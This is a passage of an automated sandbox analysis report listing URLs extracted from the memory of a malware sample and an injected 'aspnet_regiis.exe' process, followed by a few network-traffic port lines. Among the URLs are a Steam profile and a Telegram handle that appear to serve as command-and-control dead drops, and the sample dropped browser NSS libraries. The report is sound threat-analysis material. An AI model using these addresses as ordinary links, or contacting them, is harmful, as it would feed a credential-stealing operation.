Source: aspnet_regiis.exe, 00000003.00000003.2518193807.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, AEHIEC.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: ECBGCB.3.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552045952.0000000002FD1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: https://mozilla.org0/
Source: file.exe	String found in binary or memory: https://pidgin.im0
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: file.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/$b
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199780418869
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp, aspnet_regiis.exe, aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/badges
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869/inventory/
Source: file.exe, 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869u55uhttps://t.me/ae5edMozilla/5.0
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: EBAFBG.3.dr	String found in binary or memory: https://support.mozilla.org
Source: EBAFBG.3.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EBAFBG.3.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp, aspnet_regiis.exe, aspnet_regiis.exe, 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F80000.00000004.00000020.00020000.00000000.sdmp, ECBGCB.3.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552045952.0000000002FD1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: aspnet_regiis.exe, 00000003.00000003.2518193807.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, AEHIEC.3.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: aspnet_regiis.exe, 00000003.00000003.2518193807.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, AEHIEC.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: EBAFBG.3.dr	String found in binary or memory: https://www.mozilla.org
Source: EBAFBG.3.dr	String found in binary or memory: https://www.mozilla.org#
Source: aspnet_regiis.exe, 00000003.00000002.3378636469.000000001BA7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: EBAFBG.3.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: aspnet_regiis.exe, 00000003.00000002.3378636469.000000001BA7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: EBAFBG.3.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: EBAFBG.3.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F80000.00000004.00000020.00020000.00000000.sdmp, ECBGCB.3.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
